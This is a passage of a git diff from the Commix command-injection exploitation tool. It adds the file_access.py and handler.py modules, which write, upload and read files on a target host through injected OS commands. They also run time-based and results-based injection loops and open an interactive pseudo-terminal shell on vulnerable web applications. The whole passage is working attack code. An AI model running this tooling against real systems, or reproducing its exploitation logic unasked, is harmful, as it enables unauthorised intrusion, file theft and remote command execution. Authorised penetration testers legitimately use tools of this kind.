option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import sys +from src.utils import menu +from src.utils import common +from src.utils import settings +from src.utils import session_handler +from src.core.injections.controller import checks +from src.core.requests import requests +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.colorama import Fore, Back, Style, init + +""" +Write to a file on the target host. +""" +def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + _ = False + file_to_write, dest_to_write, content = checks.check_file_to_write() + if settings.TARGET_OS == settings.OS.WINDOWS: + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + else: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + if settings.TIME_RELATED_ATTACK: + whitespace = settings.WHITESPACES[0] + _ = True + cmd = checks.change_dir(dest_to_write) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + cmd = checks.delete_tmp(tmp_fname) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + else: + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + cmd = checks.write_content(content, dest_to_write) + if settings.TIME_RELATED_ATTACK: + cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + cmd = cmd + settings.COMMENT + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_write) + if settings.TIME_RELATED_ATTACK: + if settings.VERBOSITY_LEVEL == 0 and not _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + if settings.TIME_RELATED_ATTACK: + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.file_write_status(shell, dest_to_write) + +""" +Upload a file on the target host. +""" +def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + cmd, dest_to_upload = checks.check_file_to_upload() + if settings.TIME_RELATED_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + if settings.TIME_RELATED_ATTACK: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + if settings.TIME_RELATED_ATTACK: + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.file_upload_status(shell, dest_to_upload) + + +""" +Read a file from the target host. +""" +def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + _ = False + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if settings.TIME_RELATED_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + _ = True + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = "".join(str(p) for p in shell) + if settings.TIME_RELATED_ATTACK: + if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.file_read_status(shell, file_to_read, filename) + +""" +Check the defined options +""" +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if menu.options.file_write: + file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + + if menu.options.file_upload: + if settings.TARGET_OS == settings.OS.WINDOWS: + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + + if menu.options.file_read: + file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if settings.FILE_ACCESS_DONE == True : + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + if menu.file_access_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + +# eof \ No newline at end of file diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py new file mode 100755 index 0000000000..265bda79b3 --- /dev/null +++ b/src/core/injections/controller/handler.py @@ -0,0 +1,667 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import sys +import time +import string +import random +from src.utils import menu +from src.utils import logs +from src.utils import settings +from src.utils import common +from src.core.compat import xrange +from src.utils import session_handler +from src.core.requests import headers +from src.core.requests import requests +from src.core.requests import parameters +from src.core.injections.controller import checks +from src.thirdparty.six.moves import input as _input +from src.thirdparty.six.moves import urllib as _urllib +from src.core.injections.controller import shell_options +from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.injections.controller import file_access +from src.core.injections.controller import enumeration +from src.core.injections.controller import controller + +""" +Exit handler +""" +def exit_handler(no_result): + if no_result: + if settings.VERBOSITY_LEVEL == 0 and settings.LOAD_SESSION == None: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return False + else : + settings.print_data_to_stdout(settings.END_LINE.CR) + +""" +Delete previous shells outputs. +""" +def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + else: + cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + else: + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + OUTPUT_TEXTFILE + else: + cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + + +def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response): + try: + checks.alert() + go_back = False + go_back_again = False + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + while True: + if go_back == True: + break + gotshell = checks.enable_shell(url) + if gotshell in settings.CHOICE_YES: + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: + if not settings.READLINE_ERROR: + checks.tab_autocompleter() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) + cmd = common.read_input(message="", default="os_shell", check_batch=True) + cmd = checks.escaped_cmd(cmd) + if cmd.lower() in settings.SHELL_OPTIONS: + if cmd.lower() == "quit" or cmd.lower() == "exit": + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + checks.quit(filename, url, _ = False) + go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) + if go_back and go_back_again == False: + break + if go_back and go_back_again: + return True + else: + time.sleep(timesec) + if menu.options.ignore_session or session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: + # The main command injection exploitation. + if settings.TIME_RELATED_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Export injection result + checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Command execution results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + if not menu.options.ignore_session: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if shell or shell != "": + settings.print_data_to_stdout(settings.command_execution_output(shell)) + + else: + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break + else: + if no_result: + return False + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + return True + elif gotshell in settings.CHOICE_QUIT: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + checks.quit(filename, url, _ = False) + else: + common.invalid_option(gotshell) + pass + + except (KeyboardInterrupt, SystemExit): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + settings.print_data_to_stdout(settings.END_LINE.CR) + raise + + except EOFError: + checks.EOFError_err_msg() + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + settings.print_data_to_stdout(settings.END_LINE.CR) + +""" +The main Time-related exploitation proccess. +""" +def do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + + counter = 1 + num_of_chars = 1 + vp_flag = True + no_result = True + is_encoded = False + possibly_vulnerable = False + false_positive_warning = False + export_injection_info = False + exec_time = 0 + timesec = checks.time_related_timesec(timesec) + + if settings.TIME_RELATED_ATTACK == False: + checks.time_related_attaks_msg() + settings.TIME_RELATED_ATTACK = None + + # Check if defined "--url-reload" option. + if menu.options.url_reload == True: + checks.reload_url_msg(technique) + + # Check if defined "--maxlen" option. + if menu.options.maxlen: + settings.MAXLEN = maxlen = menu.options.maxlen + + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + + if not settings.LOAD_SESSION: + checks.testing_technique_title(injection_type, technique) + + prefixes = settings.PREFIXES + suffixes = settings.SUFFIXES + separators = settings.SEPARATORS + + i = 0 + total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) + for whitespace in settings.WHITESPACES: + for prefix in settings.PREFIXES: + for suffix in settings.SUFFIXES: + for separator in settings.SEPARATORS: + # Check injection state + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + # If a previous session is available. + exec_time_statistic = [] + if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method): + try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method) + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + settings.TIME_BASED_STATE = True + elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + settings.TEMPFILE_BASED_STATE = True + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + cmd = shell = "" + checks.check_for_stored_tamper(payload) + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + possibly_vulnerable = True + except TypeError: + checks.error_loading_session_file() + + if not settings.LOAD_SESSION: + num_of_chars = num_of_chars + 1 + # Check for bad combination of prefix and separator + combination = prefix + separator + if combination in settings.JUNK_COMBINATION: + prefix = "" + # Change TAG on every request to prevent false-positive resutls. + TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) + # The output file for file-based injection technique. + alter_shell = menu.options.alter_shell + tag_length = len(TAG) + 4 + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + for output_length in range(1, int(tag_length)): + try: + # Tempfile-based decision payload (check if host is vulnerable). + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + + vuln_parameter = "" + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + + # Statistical analysis in time responses. + exec_time_statistic.append(exec_time) + # Injection percentage calculation + percent, float_percent = checks.percentage_calculation(num_of_chars, total) + + if percent == 100 and no_result == True: + if settings.VERBOSITY_LEVEL == 0: + percent = settings.FAIL_STATUS + else: + percent = "" + else: + if checks.time_related_shell(url_time_response, exec_time, timesec): + # Time related false positive fixation. + false_positive_fixation = False + if len(TAG) == output_length: + + # Simple statical analysis + statistical_anomaly = True + if len(set(exec_time_statistic[0:5])) == 1: + if max(xrange(len(exec_time_statistic)), key=lambda x: exec_time_statistic[x]) == len(TAG) - 1: + statistical_anomaly = False + exec_time_statistic = [] + + if timesec <= exec_time and not statistical_anomaly: + false_positive_fixation = True + else: + false_positive_warning = True + + # Identified false positive warning message. + if false_positive_warning: + timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) + + if settings.VERBOSITY_LEVEL == 0: + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) + + # Check if false positive fixation is True. + if false_positive_fixation: + false_positive_fixation = False + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + if false_positive_warning: + time.sleep(timesec) + randv1 = random.randrange(0, 4) + randv2 = random.randrange(1, 5) + randvcalc = randv1 + randv2 + + if settings.TARGET_OS == settings.OS.WINDOWS: + if alter_shell: + # if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + # cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + # else: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + else: + rand_num = randv1 + randv2 + cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" + else: + cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" + + # Set the original delay time + original_exec_time = exec_time + + # Check for false positive resutls + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) + else: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) + + if checks.time_related_shell(url_time_response, exec_time, timesec): + if str(output) == str(randvcalc) and len(TAG) == output_length: + possibly_vulnerable = True + exec_time_statistic = 0 + if settings.VERBOSITY_LEVEL == 0: + percent = settings.info_msg + else: + percent = "" + #break + else: + break + # False positive + else: + if settings.VERBOSITY_LEVEL == 0: + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) + continue + else: + if settings.VERBOSITY_LEVEL == 0: + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) + continue + + except (KeyboardInterrupt, SystemExit): + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise + + except EOFError: + checks.EOFError_err_msg() + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise + + except: + percent = ((num_of_chars * 100) / total) + float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) + if str(float_percent) == "100.0": + if no_result == True: + if settings.VERBOSITY_LEVEL == 0: + percent = settings.FAIL_STATUS + checks.injection_process(injection_type, technique, percent) + else: + percent = "" + else: + percent = ".. (" + str(float_percent) + "%)" + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + else: + percent = ".. (" + str(float_percent) + "%)" + break + + # Yaw, got shellz! + # Do some magic tricks! + if checks.time_related_shell(url_time_response, exec_time, timesec): + if (len(TAG) == output_length) and (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == settings.INJECTION_LEVEL): + found = True + no_result = False + # Export session + if not settings.LOAD_SESSION: + shell = "" + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) + else: + whitespace = settings.WHITESPACES[0] + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + OUTPUT_TEXTFILE = "" + # Check for any enumeration options. + enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check for any system file access options. + file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check if defined single cmd. + if menu.options.os_cmd: + cmd = menu.options.os_cmd + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Export injection result + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and len(output) > 1: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + # Pseudo-Terminal shell + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + continue + else: + return + + return exit_handler(no_result) + +""" +The main results based exploitation proccess. +""" +def do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique): + + shell = False + counter = 1 + vp_flag = True + exit_loops = False + no_result = True + is_encoded = False + stop_injection = False + call_tmp_based = False + next_attack_vector = False + export_injection_info = False + timesec = checks.time_related_timesec(timesec) + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + try: + import html + unescape = html.unescape + except: # Python 2 + unescape = _html_parser.HTMLParser().unescape + from src.core.injections.results_based.techniques.classic import cb_injector as injector + from src.core.injections.results_based.techniques.classic import cb_payloads as payloads + + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + from 